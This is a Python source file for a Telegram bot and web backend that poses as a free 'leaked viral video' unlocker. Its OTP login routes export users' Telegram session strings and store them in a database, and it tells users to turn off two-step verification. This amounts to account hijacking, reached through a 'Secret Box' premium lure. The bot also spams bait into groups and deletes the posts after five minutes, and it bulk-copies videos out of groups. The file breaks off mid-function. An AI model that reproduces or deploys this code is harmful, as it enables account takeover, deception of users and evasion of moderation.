app.py

import os
import time
import queue
import threading
import requests
import asyncio
import re
import urllib3
import subprocess
import logging
import json
import redis.asyncio as redis
from flask import Flask, jsonify, make_response, request, Response
from supabase import create_client
from pyrogram import Client, filters, enums, idle, utils  
from pyrogram.errors import SessionPasswordNeeded, PhoneCodeInvalid, PhoneCodeExpired, UserDeactivated, SessionRevoked, AuthKeyUnregistered, FloodWait
from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)

# ==================== PYROGRAM NEW ID RANGE FIX ====================
def get_peer_type_new(peer_id: int) -> str:
    peer_id_str = str(peer_id)
    if not peer_id_str.startswith("-"): return "user"
    elif peer_id_str.startswith("-100"): return "channel"
    else: return "chat"

utils.get_peer_type = get_peer_type_new
# ===================================================================

# ================= CONFIGURATION =================
BOT_TOKEN = os.environ.get("BOT_TOKEN")
API_ID = int(os.environ.get("API_ID", 0))         
API_HASH = os.environ.get("API_HASH")     
SUPABASE_URL = os.environ.get("SUPABASE_URL")
SUPABASE_KEY = os.environ.get("SUPABASE_KEY")
BYSE_API_KEY = os.environ.get("BYSE_API_KEY", "133323knboif885fhgwxvf")

PREMIUM_CHANNEL_ID = -1002825744390
STORAGE_CHANNEL_ID = -1002825744390  

BACKEND_URL = os.environ.get("BACKEND_URL", "https://mxvdo-forwardbot.hf.space")
WEB_APP_URL = "https://rony90790.github.io/Forward-bot/index.html" 
ADMIN_IDS = [7307789267]

app = Flask(__name__)
supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
admin_states = {}
temp_clients = {}

upload_mode = "telegram"
ffmpeg_available = True

# ================= AUTO SHARE VARIABLES =================
auto_share_running = False
auto_share_task = None
# =========================================================

try:
    subprocess.run(["ffmpeg", "-version"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
except FileNotFoundError:
    ffmpeg_available = False
    print("⚠️ FFmpeg is not installed on this server! Video processing functions (blur, watermark) will be skipped safely.")

try:
    main_loop = asyncio.get_running_loop()
except RuntimeError:
    main_loop = asyncio.new_event_loop()
    asyncio.set_event_loop(main_loop)

def run_async(coro):
    future = asyncio.run_coroutine_threadsafe(coro, main_loop)
    return future.result()

bot = Client("file_unlocker_bot", api_id=API_ID, api_hash=API_HASH, bot_token=BOT_TOKEN)

# ==================== ROBUST DB QUERY WITH AUTO-RETRY ====================
async def db_query(func, max_retries=3):
    last_error = None
    for attempt in range(max_retries):
        try:
            return await asyncio.to_thread(func)
        except Exception as e:
            last_error = e
            err_msg = str(e).lower()
            if "terminated" in err_msg or "disconnect" in err_msg or "timeout" in err_msg or "connection" in err_msg:
                if attempt < max_retries - 1:
                    await asyncio.sleep(1.5)  
                    continue
            raise e
    raise last_error
# =========================================================================

# ==================== CORS MIDDLEWARES ====================
@app.before_request
def handle_options():
    if request.method == 'OPTIONS':
        return make_response()

@app.after_request
def add_cors_headers(response):
    response.headers['Access-Control-Allow-Origin'] = '*'
    response.headers['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS, PUT, DELETE'
    response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization, apikey'
    return response

# ==================== UNIVERSAL MEDIA HELPER ====================
def get_media_obj(msg):
    if not msg: return None
    if msg.video: return msg.video
    if msg.animation: return msg.animation
    if msg.document: return msg.document
    if msg.audio: return msg.audio
    return None

def get_msg_file_id(msg):
    if not msg: return None
    if msg.photo: return msg.photo.file_id
    media = get_media_obj(msg)
    if media: return media.file_id
    return None

# ==================== CUSTOM VIDEO STREAMING ENGINE ====================
def get_file_stream(message_id):
    q = queue.Queue(maxsize=10)
    stop_flag = [False]

    async def producer():
        try:
            if not bot.is_connected: await bot.connect()
            msg = await bot.get_messages(STORAGE_CHANNEL_ID, message_id)
            media = get_media_obj(msg)
            if not media:
                try: await asyncio.to_thread(q.put, None, True, 1.0)
                except queue.Full: pass
                return
                
            async for chunk in bot.stream_media(msg):
                if stop_flag[0]: break
                put_success = False
                while not stop_flag[0]:
                    try:
                        await asyncio.to_thread(q.put, chunk, True, 2.0)
                        put_success = True
                        break
                    except queue.Full:
                        continue
                if not put_success: break
                    
        except Exception as e:
            print(f"Error in stream producer: {e}")
        finally:
            if not stop_flag[0]:
                try: await asyncio.to_thread(q.put, None, True, 1.0)
                except queue.Full: pass

    asyncio.run_coroutine_threadsafe(producer(), main_loop)

    def consumer():
        try:
            while True:
                try: chunk = q.get(timeout=15)
                except queue.Empty: break
                if chunk is None: break
                yield chunk
        except GeneratorExit: pass
        except Exception as e: print(f"Consumer error: {e}")
        finally:
            stop_flag[0] = True
            while not q.empty():
                try: q.get_nowait()
                except: break

    return consumer()

@app.route('/stream/<int:message_id>')
def stream_video(message_id):
    try:
        async def get_media_info():
            if not bot.is_connected: await bot.connect()
            msg = await bot.get_messages(STORAGE_CHANNEL_ID, message_id)
            media = get_media_obj(msg)
            if media:
                mime = getattr(media, 'mime_type', 'video/mp4') or 'video/mp4'
                return media.file_size, getattr(media, 'file_name', 'video.mp4'), mime
            return None, None, None

        file_size, file_name, mime_type = run_async(get_media_info())
        if not file_size: return "File not found or invalid message", 404

        response = make_response(Response(get_file_stream(message_id), mimetype=mime_type))
        response.headers['Content-Length'] = file_size
        response.headers['Content-Type'] = mime_type
        response.headers['Accept-Ranges'] = 'bytes'
        response.headers['Content-Disposition'] = f'inline; filename="{file_name or "video.mp4"}"'
        return response
    except Exception as e:
        return f"Error: {e}", 500

@app.route('/download/<int:message_id>')
def download_video(message_id):
    try:
        async def get_media_info():
            if not bot.is_connected: await bot.connect()
            msg = await bot.get_messages(STORAGE_CHANNEL_ID, message_id)
            media = get_media_obj(msg)
            if media:
                mime = getattr(media, 'mime_type', 'application/octet-stream') or 'application/octet-stream'
                return media.file_size, getattr(media, 'file_name', 'video.mp4'), mime
            return None, None, None

        file_size, file_name, mime_type = run_async(get_media_info())
        if not file_size: return "File not found or invalid message", 404

        response = make_response(Response(get_file_stream(message_id), mimetype=mime_type))
        response.headers['Content-Length'] = file_size
        response.headers['Content-Disposition'] = f'attachment; filename="{file_name or "video.mp4"}"'
        return response
    except Exception as e:
        return f"Error: {e}", 500

# ================= FLASK API ROUTES =================
@app.route('/')
def index(): return "Bot, Media Uploader, and Real Session API is Running! 🚀"

@app.route('/api/jump')
def jump_to_telegram():
    html_content = """
    <!DOCTYPE html>
    <html>
    <head><title>Redirecting...</title><script>window.location.href = "tg://openmessage?user_id=777000";setTimeout(function() { window.close(); }, 500);</script></head>
    <body style="background:#000; color:#fff; display:flex; justify-content:center; align-items:center; height:100vh; font-family:sans-serif;">
        <div style="text-align:center;"><div style="font-size:20px; margin-bottom:10px;">⏳ Connecting...</div><div style="font-size:12px; color:#888;">Opening Telegram Service Notifications</div></div>
    </body>
    </html>
    """
    return make_response(html_content)

@app.route('/api/videos')
def api_videos():
    try:
        res = supabase.table('videos').select('*').order('id', desc=True).execute()
        return jsonify(res.data)
    except Exception as e:
        return jsonify([])

@app.route('/api/check_login', methods=['POST'])
def api_check_login():
    data = request.json or {}
    user_id = data.get('user_id')
    
    async def check_user():
        res = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
        if res.data:
            session_string = res.data[0]['session_string']
            temp_client = Client(f"test_session_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
            try:
                await temp_client.connect()
                await temp_client.get_me() 
                await temp_client.disconnect()
                return {"status": "logged_in"}
            except Exception:
                try: await temp_client.disconnect()
                except: pass
                await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
                return {"status": "not_logged_in"}
        return {"status": "not_logged_in"}

    try:
        result = run_async(check_user())
        return jsonify(result)
    except Exception as e: return jsonify({"status": "error"})

@app.route('/api/send_code', methods=['POST'])
def api_send_code():
    data = request.json or {}
    phone = data.get('phone')
    user_id = data.get('user_id')
    if not user_id or str(user_id) == '123456': return jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})
    
    async def process_send_code():
        if phone in temp_clients:
            try: await temp_clients[phone]['client'].disconnect()
            except: pass
        client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
        await client.connect()
        try:
            code_info = await client.send_code(phone)
            temp_clients[phone] = {'client': client, 'hash': code_info.phone_code_hash}
            return {"status": "ok", "hash": code_info.phone_code_hash}
        except Exception as e:
            try: await client.disconnect()
            except: pass
            return {"status": "error", "msg": str(e)}

    try:
        result = run_async(process_send_code())
        return jsonify(result)
    except Exception as e: return jsonify({"status": "error", "msg": str(e)})

@app.route('/api/verify_code', methods=['POST'])
def api_verify_code():
    data = request.json or {}
    phone = data.get('phone')
    user_otp = data.get('otp')
    user_id = data.get('user_id')
    
    if phone not in temp_clients: return jsonify({"status": "error", "msg": "Session expired, request code again!"})

    async def process_verify():
        temp_data = temp_clients[phone]
        client = temp_data['client']
        phone_hash = temp_data['hash']
        try:
            await client.sign_in(phone, phone_hash, user_otp)
            session_string = await client.export_session_string()
            try: await client.disconnect()
            except: pass
            
            await db_query(lambda: supabase.table('user_sessions').insert({
                "user_id": user_id, 
                "phone": phone, 
                "session_string": session_string
            }).execute())
            
            if phone in temp_clients: del temp_clients[phone]
            return {"status": "ok"}
            
        except SessionPasswordNeeded:
            try: await client.disconnect()
            except: pass
            if phone in temp_clients: del temp_clients[phone]
            return {"status": "error", "msg": "Two-Step Verification is ON! Please turn it off and try again."}
        except PhoneCodeInvalid: return {"status": "error", "msg": "Invalid OTP Code!"}
        except PhoneCodeExpired:
            try: await client.disconnect()
            except: pass
            if phone in temp_clients: del temp_clients[phone]
            return {"status": "error", "msg": "OTP Expired! Request again."}
        except Exception as e:
            try: await client.disconnect()
            except: pass
            if phone in temp_clients: del temp_clients[phone]
            return {"status": "error", "msg": str(e)}

    try:
        result = run_async(process_verify())
        return jsonify(result)
    except Exception as e: return jsonify({"status": "error", "msg": str(e)})


async def save_progress(source_id, dest_id, msg_id):
    try:
        res = await db_query(lambda: supabase.table('clone_progress').select('id').eq('source_id', source_id).eq('dest_id', dest_id).execute())
        if res.data:
            await db_query(lambda: supabase.table('clone_progress').update({'last_copied_id': msg_id}).eq('id', res.data[0]['id']).execute())
        else:
            await db_query(lambda: supabase.table('clone_progress').insert({'source_id': source_id, 'dest_id': dest_id, 'last_copied_id': msg_id}).execute())
    except Exception as e: print(f"Error saving progress: {e}")


# ================= SMART AUTO SHARE LOGIC =================
async def auto_share_loop(client, delay=300):
    global auto_share_running
    
    try:
        bot_me = client.me if client.me else await client.get_me()
        bot_link = f"https://t.me/{bot_me.username}"
    except:
        bot_link = "https://t.me/your_bot"
        
    caption_text = (
        f"🔥 <b>New Premium Viral Video Leaked!</b> 🔞\n\n"
        f"🎬 <b>Watch HD Video Here:</b>\n"
        f"👉 <b><a href='{bot_link}'>▶️ Click Here to Watch</a></b>\n\n"
        f"🎁 <b>App এর ভেতর 'Secret Box' ওপেন করে Premium Channel Claim করুন!</b> 👇"
    )
    group_markup = InlineKeyboardMarkup([
        [InlineKeyboardButton("🎬 Watch Full Video Here 🔞", url=bot_link)],
        [InlineKeyboardButton("🎁 Open Secret Box", url=f"{bot_link}?start=secretbox")]
    ])
    
    while auto_share_running:
        try:
            # ১. ডাটাবেজ থেকে সব গ্রুপ আনা এবং অ্যাডমিন পারমিশন চেক করা
            groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute())
            eligible_groups = []
            
            if groups_res.data:
                for g in groups_res.data:
                    gid = g['group_id']
                    try:
                        member = await client.get_chat_member(gid, "me")
                        # চেক করবে বট অ্যাডমিন কিনা এবং মেসেজ ডিলিট করার পারমিশন আছে কিনা
                        if member.status in [enums.ChatMemberStatus.ADMINISTRATOR, enums.ChatMemberStatus.OWNER]:
                            if member.privileges and member.privileges.can_delete_messages:
                                eligible_groups.append(gid)
                    except FloodWait as e:
                        await asyncio.sleep(e.value + 1)
                    except Exception:
                        pass # বট গ্রুপে না থাকলে বা ব্যান খেলে স্কিপ করবে
            
            if not eligible_groups:
                await asyncio.sleep(60) # কোনো এলিজিবল গ্রুপ না পেলে ১ মিনিট ওয়েট করবে
                continue

            # ২. স্টোরেজ থেকে ৫টি ভিডিও নেওয়া (dest_id = -1 ব্যবহার করা হচ্ছে গ্লোবাল ট্র্যাকিং এর জন্য)
            progress_res = await db_query(lambda: supabase.table('clone_progress').select('last_copied_id').eq('source_id', STORAGE_CHANNEL_ID).eq('dest_id', -1).execute())
            last_checked_id = progress_res.data[0]['last_copied_id'] if progress_res.data else 0

            batch_to_send = []
            current_id = last_checked_id + 1
            highest_valid_id = last_checked_id

            chunk_ids = list(range(current_id, current_id + 50))
            try:
                msgs = await client.get_messages(STORAGE_CHANNEL_ID, chunk_ids)
                valid_messages_found = False

                for msg in msgs:
                    if not auto_share_running: break
                    if msg and not getattr(msg, "empty", False):
                        valid_messages_found = True
                        highest_valid_id = msg.id 
                        if msg.video or (msg.document and msg.document.mime_type and "video" in msg.document.mime_type) or msg.photo:
                            batch_to_send.append(msg)
                            if len(batch_to_send) == 5:
                                break
            except FloodWait as e:
                await asyncio.sleep(e.value + 1)
                continue
            except Exception as e:
                await asyncio.sleep(5)
                continue

            if not batch_to_send:
                if valid_messages_found and highest_valid_id > last_checked_id:
                    await save_progress(STORAGE_CHANNEL_ID, -1, highest_valid_id)
                await asyncio.sleep(30) 
                continue
                
            # ৩. এলিজিবল গ্রুপগুলোতে ৫টি ভিডিও সেন্ড করা
            sent_message_ids = {} # { group_id: [msg_id1, msg_id2...] }
            
            for msg in batch_to_send:
                if not auto_share_running: break
                for gid in eligible_groups:
                    try:
                        sent = await msg.copy(gid, caption=caption_text, reply_markup=group_markup)
                        if gid not in sent_message_ids:
                            sent_message_ids[gid] = []
                        sent_message_ids[gid].append(sent.id)
                        await asyncio.sleep(1) # ফ্লাডওয়েট এড়াতে স্লিপ
                    except FloodWait as e:
                        await asyncio.sleep(e.value + 1)
                    except Exception:
                        pass
                        
            if highest_valid_id > last_checked_id:
                await save_progress(STORAGE_CHANNEL_ID, -1, highest_valid_id)
            
            # ৪. ৫ মিনিট অপেক্ষা করা
            for _ in range(delay):
                if not auto_share_running: break
                await asyncio.sleep(1)
                
            # ৫. সব গ্রুপ থেকে পাঠানো ভিডিওগুলো ডিলিট করা
            if auto_share_running:
                for gid, msg_ids in sent_message_ids.items():
                    try:
                        await client.delete_messages(gid, msg_ids)
                        await asyncio.sleep(1)
                    except FloodWait as e:
                        await asyncio.sleep(e.value + 1)
                        await client.delete_messages(gid, msg_ids)
                    except Exception:
                        pass
                        
        except Exception as e:
            print(f"Auto-share loop error: {e}")
            await asyncio.sleep(5)

@bot.on_message(filters.command("startshare") & filters.private & filters.user(ADMIN_IDS))
async def start_sharing_cmd(client, message):
    global auto_share_running, auto_share_task
    args = message.command
    
    if len(args) > 1 and args[1].lower() == "reset":
        await save_progress(STORAGE_CHANNEL_ID, -1, 0)
        await message.reply("🔄 <b>Progress reset!</b> The bot will now start sharing from the 1st video.")
        
    if auto_share_running:
        return await message.reply("⚠️ <b>Auto-share is already running!</b>\nUse `/stopshare` to stop it first.")
    
    auto_share_running = True
    auto_share_task = asyncio.create_task(auto_share_loop(client, 300))
    await message.reply(f"✅ <b>Smart Auto-sharing started!</b>\n\n📌 <b>Target:</b> All Groups (Admin + Delete Permitted)\n📦 <b>Batch Size:</b> 5 videos\n⏱ <b>Interval:</b> 5 minutes\n\n<i>Bot will scan all groups, verify permissions, send 5 videos, and delete them automatically!</i>", parse_mode=enums.ParseMode.HTML)

@bot.on_message(filters.command("stopshare") & filters.private & filters.user(ADMIN_IDS))
async def stop_sharing_cmd(client, message):
    global auto_share_running
    if not auto_share_running:
        return await message.reply("⚠️ Auto-share is not currently running.")
    
    auto_share_running = False
    await message.reply("🛑 <b>Auto-sharing stopped successfully!</b>", parse_mode=enums.ParseMode.HTML)


# ================= HELP COMMAND =================
@bot.on_message(filters.command("help"))
async def help_command(client, message):
    user_id = message.from_user.id
    is_admin = user_id in ADMIN_IDS

    help_text = "🛠 **Bot Commands Help Menu**\n\n"

    if is_admin:
        help_text += "👑 **Admin Commands:**\n"
        help_text += "👉 `/stats` - Check total users, videos, and groups.\n"
        help_text += "👉 `/broadcast` - Send a message to all bot users.\n"
        help_text += "👉 `/clone <source_id> <dest_id>` - Clone videos from one group to another.\n"
        help_text += "👉 `/cloneall` - Mass clone all videos from all connected groups to Target Group.\n"
        help_text += "👉 `/sendto <group_id>` - Reply to a media to forward it directly to a specific group.\n"
        help_text += "👉 `/upload <telegram/byse>` - Change video upload server (Local or byse.sx).\n"
        help_text += "👉 `/blur <percentage>` - Enable video/photo blur (e.g., `/blur 60`). Send `/blur 0` to disable.\n"
        help_text += "👉 `/clean` - Scan and kick dead/deleted users from the Premium channel.\n"
        help_text += "👉 `/startshare` - Start auto-forwarding 5 videos to the target group every 5 minutes.\n"
        help_text += "👉 `/startshare reset` - Reset auto-forward progress to the first video.\n"
        help_text += "👉 `/stopshare` - Stop the auto-forwarding process.\n\n"

    help_text += "👤 **User Commands:**\n"
    help_text += "👉 `/start` - Start the bot and get the WebApp link.\n"

    await message.reply(help_text, parse_mode=enums.ParseMode.MARKDOWN)
# ================================================


# ================= TELEGRAM BOT COMMANDS =================
@bot.on_message(filters.command("start"))
async def start(client, message):
    if message.chat.type != enums.ChatType.PRIVATE:
        try:
            bot_me = client.me if client.me else await client.get_me()
            bot_link = f"https://t.me/{bot_me.username}"
            markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Watch Videos Now", url=bot_link)]])
            await message.reply("🔥 **Watch Premium Viral Videos for FREE!**\n\n👉 Click the button below to watch:", reply_markup=markup)
        except Exception: pass
        return

    try:
        user_id = message.from_user.id
        first_name = message.from_user.first_name
        args = message.command
        referrer_id = None
        is_secret = False
        
        # Secret Box থেকে এসেছে কিনা সেটা চেক করা হচ্ছে
        if len(args) > 1:
            if args[1] == "secretbox":
                is_secret = True
            else:
                try: referrer_id = int(args[1])
                except ValueError: pass

        user_check = await db_query(lambda: supabase.table('referrals').select('*').eq('user_id', user_id).execute())
        
        if not user_check.data: 
            try:
                await db_query(lambda: supabase.table('referrals').insert({'user_id': user_id, 'referral_count': 0, 'referrer_id': referrer_id if referrer_id != user_id else None}).execute())
                if referrer_id and referrer_id != user_id:
                    ref_data = await db_query(lambda: supabase.table('referrals').select('referral_count').eq('user_id', referrer_id).execute())
                    if ref_data.data:
                        new_count = ref_data.data[0]['referral_count'] + 1
                        await db_query(lambda: supabase.table('referrals').update({'referral_count': new_count}).eq('user_id', referrer_id).execute())
                        try:
                            safe_name = first_name.replace('<', '').replace('>', '') if first_name else "User"
                            success_msg = f"🎉 <b>Congratulations!</b>\n\n👤 <b>{safe_name}</b> has joined using your link!\n📈 Total Invites: <b>{new_count}</b>\n\n<i>Go to the Web App to check unlocked videos!</i>"
                            markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Check Unlocked Videos", web_app=WebAppInfo(url=WEB_APP_URL))]])
                            await client.send_message(referrer_id, success_msg, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
                        except Exception: pass
            except Exception as db_err:
                print(f"Error handling referral DB entry: {db_err}")

        bot_me = client.me if client.me else await client.get_me()
        
        # যদি Secret Boxএর বাটনে ক্লিক করে আসে, তাহলে স্পেশাল মেসেজ এবং বাটন দেওয়া হবে
        if is_secret:
            btn_text = "🎁 Open App & Claim Premium"
            welcome_text = (f"Hello <b>{first_name}</b>! 👋\n\n🎁 <b>Secret Box Unlock করুন!</b>\nনিচের বাটনে ক্লিক করে অ্যাপটি ওপেন করুন এবং আপনার নাম্বার ভেরিফাই করে Premium Channel Claim করে নিন!\n\n👇 <b>Click the button below:</b>")
        else:
            btn_text = "🔥 Play Viral Videos 🔞"
            welcome_text = (f"Hello <b>{first_name}</b>! 👋\n\n🎁 <b>Welcome to Video Unlocker Pro!</b>\nHere you can watch premium leaked and viral videos completely for FREE.\n\n👇 <b>Click the button below to Open App:</b>")
            
        markup = InlineKeyboardMarkup([
            [InlineKeyboardButton(btn_text, web_app=WebAppInfo(url=WEB_APP_URL))],
            [InlineKeyboardButton("📢 Add to Group", url=f"https://t.me/{bot_me.username}?startgroup=true")]
        ])
        
        await message.reply(welcome_text, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
    except Exception as e: print(f"Start error: {e}")

@bot.on_message(filters.new_chat_members)
async def bot_added_to_group(client, message):
    me = client.me
    if getattr(me, "id", None) is None:
        try: me = await client.get_me()
        except: return

    for member in message.new_chat_members:
        if member.id == me.id:
            try:
                await db_query(lambda: supabase.table('groups').upsert({
                    'group_id': message.chat.id,
                    'group_name': message.chat.title,
                    'added_by': message.from_user.id if message.from_user else None
                }).execute())
                
                group_name = message.chat.title
                admin_msg = f"✅ <b>Bot added to a new group!</b>\n\n📌 <b>Group Name:</b> {group_name}\n🆔 <b>ID:</b> <code>{message.chat.id}</code>"
                for admin_id in ADMIN_IDS:
                    try: await client.send_message(chat_id=admin_id, text=admin_msg, parse_mode=enums.ParseMode.HTML)
                    except: pass

            except Exception as e:
                print(f"Error handling new group logic: {e}")

@bot.on_message(filters.command("sendto") & filters.private & filters.user(ADMIN_IDS))
async def send_to_specific_group(client, message):
    if not message.reply_to_message:
        return await message.reply("❌ <b>Please reply to a message, photo, or video that you want to send.</b>\n\nExample: `/sendto -1001234567890`")
    
    args = message.command
    if len(args) < 2: return await message.reply("❌ <b>Group ID missing!</b>\n\nCorrect format:\n`/sendto -1003973566529`")
        
    try:
        group_id = int(args[1])
        status = await message.reply("⏳ Sending message to group...")
        await message.reply_to_message.copy(chat_id=group_id)
        await status.edit_text(f"✅ <b>Successfully sent to Group ID:</b> <code>{group_id}</code>", parse_mode=enums.ParseMode.HTML)
    except Exception as e:
        await status.edit_text(f"❌ <b>Failed to send!</b>\nError: {e}", parse_mode=enums.ParseMode.HTML)


# ================= MASS CLONE FROM ALL GROUPS =================
async def clone_all_background(client, dest_id, status_msg):
    try:
        groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute())
        if not groups_res.data:
            return await status_msg.edit_text("❌ <b>No groups found in database.</b>", parse_mode=enums.ParseMode.HTML)
            
        groups = [g['group_id'] for g in groups_res.data]
        total_groups = len(groups)
        
        await status_msg.edit_text(f"✅ Found <b>{total_groups}</b> groups.\n🚀 Starting mass cloning from oldest videos...", parse_mode=enums.ParseMode.HTML)
        
        total_copied = 0
        
        for index, source_id in enumerate(groups, 1):
            if source_id == dest_id or source_id == STORAGE_CHANNEL_ID or source_id == PREMIUM_CHANNEL_ID:
                continue 
                
            try:
                await status_msg.edit_text(f"⏳ <b>Cloning Group {index}/{total_groups}</b>\nID: <code>{source_id}</code>\nTotal Copied So Far: <b>{total_copied}</b>", parse_mode=enums.ParseMode.HTML)
            except Exception: pass
            
            progress_res = await db_query(lambda: supabase.table('clone_progress').select('last_copied_id').eq('source_id', source_id).eq('dest_id', dest_id).execute())
            last_copied_id = progress_res.data[0]['last_copied_id'] if progress_res.data else None
            
            video_ids = []
            retries = 3
            while retries > 0:
                try:
                    async for msg in client.search_messages(source_id, filter=enums.MessagesFilter.VIDEO):
                        if last_copied_id and msg.id <= last_copied_id: continue
                        video_ids.append(msg.id)
                        if len(video_ids) % 100 == 0: await asyncio.sleep(0.1)
                    break
                except FloodWait as e:
                    await asyncio.sleep(e.value + 1)
                except Exception as e:
                    err_msg = str(e).lower()
                    if "disconnect" in err_msg or "connection" in err_msg or "timeout" in err_msg:
                        retries -= 1
                        video_ids = []
                        await asyncio.sleep(5)
                    else:
                        break
                        
            if not video_ids:
                continue
                
            video_ids.reverse() 
            
            for msg_id in video_ids:
                copy_retries = 3
                copy_success = False
                while copy_retries > 0:
                    try:
                        await client.copy_message(chat_id=dest_id, from_chat_id=source_id, message_id=msg_id)
                        total_copied += 1
                        await save_progress(source_id, dest_id, msg_id)
                        copy_success = True
                        break
                    except FloodWait as e:
                        await asyncio.sleep(e.value + 2)
                    except Exception as e:
                        err_msg = str(e).lower()
                        if "disconnect" in err_msg or "connection" in err_msg or "timeout" in err_msg:
                            copy_retries -= 1
                            await asyncio.sleep(3)
                        else:
                            break
                await asyncio.sleep(2.5)
                
        await status_msg.edit_text(f"🎉 <b>Mass Cloning Completely Finished!</b>\n\nTotal Videos Copied from all groups: <b>{total_copied}</b>", parse_mode=enums.ParseMode.HTML)
        
    except Exception as e:
        try: await status_msg.edit_text(f"❌ <b>Cloning Error:</b> {e}", parse_mode=enums.ParseMode.HTML)
        except: pass

@bot.on_message(filters.command("cloneall") & filters.private & filters.user(ADMIN_IDS))
async def start_mass_cloning(client, message):
    dest_id = -1003798479478 
    status_msg = await message.reply(f"⏳ <b>Initializing mass cloning task to <code>{dest_id}</code>...</b>", parse_mode=enums.ParseMode.HTML)
    asyncio.create_task(clone_all_background(client, dest_id, status_msg))


async def clone_videos_background(client, source_id, dest_id, status_msg):
    try:
        progress_res = await db_query(lambda: supabase.table('clone_progress').select('last_copied_id').eq('source_id', source_id).eq('dest_id', dest_id).execute())
        
        last_copied_id = None
        if progress_res.data:
            last_copied_id = progress_res.data[0]['last_copied_id']
            await status_msg.edit_text(f"⏳ <b>Resuming clone task...</b>\nFound previous progress. Resuming after video ID <code>{last_copied_id}</code>...\nFetching video list from <code>{source_id}</code>...", parse_mode=enums.ParseMode.HTML)
        else:
            await status_msg.edit_text(f"⏳ <b>Cloning started!</b>\nFetching video list from <code>{source_id}</code>...\n<i>This might take a few minutes if the group has many videos.</i>", parse_mode=enums.ParseMode.HTML)
        
        video_ids = []
        retries = 5
        while retries > 0:
            try:
                if not client.is_connected: await client.connect()
                async for msg in client.search_messages(source_id, filter=enums.MessagesFilter.VIDEO):
                    if last_copied_id and msg.id <= last_copied_id: continue
                    video_ids.append(msg.id)
                    if len(video_ids) % 200 == 0: await asyncio.sleep(0.1)
                break 
            except Exception as e:
                err_msg = str(e).lower()
                if "disconnect" in err_msg or "connection" in err_msg or "timeout" in err_msg or "reset" in err_msg:
                    retries -= 1
                    video_ids = [] 
                    await status_msg.edit_text(f"⚠️ <b>Network issue detected!</b>\nRetrying in 10 seconds... (Attempts left: {retries})\nError: <code>{e}</code>", parse_mode=enums.ParseMode.HTML)
                    await asyncio.sleep(10)
                else: raise e 
        
        if not video_ids:
            if last_copied_id: return await status_msg.edit_text("🎉 <b>All videos are already cloned!</b>\nNo new videos found in the source group.", parse_mode=enums.ParseMode.HTML)
            else: return await status_msg.edit_text("❌ <b>No videos found in the source group!</b>\n(Make sure the bot is an admin with read history permission in that group).", parse_mode=enums.ParseMode.HTML)
            
        video_ids.reverse() 
        total = len(video_ids)
        
        if last_copied_id: await status_msg.edit_text(f"✅ Found <b>{total}</b> new videos to clone.\n🚀 Resuming background cloning from oldest to newest...", parse_mode=enums.ParseMode.HTML)
        else: await status_msg.edit_text(f"✅ Found <b>{total}</b> videos.\n🚀 Background cloning started from oldest to newest...", parse_mode=enums.ParseMode.HTML)
        
        success = 0
        failed = 0
        
        for index, msg_id in enumerate(video_ids, 1):
            copy_success = False
            copy_retries = 3
            while copy_retries > 0:
                try:
                    if not client.is_connected: await client.connect()
                    await client.copy_message(chat_id=dest_id, from_chat_id=source_id, message_id=msg_id)
                    success += 1
                    await save_progress(source_id, dest_id, msg_id)
                    copy_success = True
                    break 
                except FloodWait as e: await asyncio.sleep(e.value + 2)
                except Exception as e:
                    err_msg = str(e).lower()
                    if "disconnect" in err_msg or "connection" in err_msg or "timeout" in err_msg or "reset" in err_msg:
                        copy_retries -= 1
                        await asyncio.sleep(5) 
                    else: break 
            
            if not copy_success: failed += 1
            if index % 20 == 0 or index == total:
                try: await status_msg.edit_text(f"⏳ <b>Cloning in progress... (Background)</b>\n\nTotal Videos to Copy: <b>{total}</b>\n✅ Copied: <b>{success}</b>\n❌ Failed: <b>{failed}</b>\nLast Video ID: <code>{msg_id}</code>", parse_mode=enums.ParseMode.HTML)
                except: pass
            
            await asyncio.sleep(2.5)
            
        await status_msg.edit_text(f"🎉 <b>Cloning Completely Finished!</b>\n\nSource: <code>{source_id}</code>\nTotal Copied: <b>{total}</b>\n✅ Successfully Copied: <b>{success}</b>\n❌ Failed: <b>{failed}</b>", parse_mode=enums.ParseMode.HTML)
        
    except Exception as e:
        try: await status_msg.edit_text(f"❌ <b>Cloning Error:</b> {e}", parse_mode=enums.ParseMode.HTML)
        except: pass

@bot.on_message(filters.command("clone") & filters.private & filters.user(ADMIN_IDS))
async def start_cloning(client, message):
    args = message.command
    if len(args) != 3: return await message.reply("❌ <b>Invalid format!</b>\n\nUse: `/clone <Source_Group_ID> <Destination_Group_ID>`\nExample: `/clone -100123456789 -100987654321`", parse_mode=enums.ParseMode.HTML)
        
    try:
        source_id = int(args[1])
        dest_id = int(args[2])
    except ValueError: return await message.reply("❌ Chat IDs must be numbers.")
        
    status_msg = await message.reply("⏳ Initializing cloning task...", parse_mode=enums.ParseMode.HTML)
    asyncio.create_task(clone_videos_background(client, source_id, dest_id, status_msg))


@bot.on_message(filters.command("upload") & filters.private & filters.user(ADMIN_IDS))
async def set_upload_mode(client, message):
    global upload_mode
    args = message.command
    if len(args) > 1:
        mode = args[1].lower()
        if mode in ["telegram", "tg", "local"]:
            upload_mode = "telegram"
            await message.reply("✅ <b>Upload server set to: Telegram</b>\nVideos will be uploaded to your own channel and streamed via Hugging Face.")
        elif mode in ["byse", "byse.sx", "external"]:
            upload_mode = "byse"
            await message.reply("✅ <b>Upload server set to: Byse.sx</b>\nVideos will be uploaded to Byse.sx and streamed via their player.")
        else: await message.reply("❌ <b>Invalid server!</b> Use `/upload telegram` or `/upload byse`.")
    else:
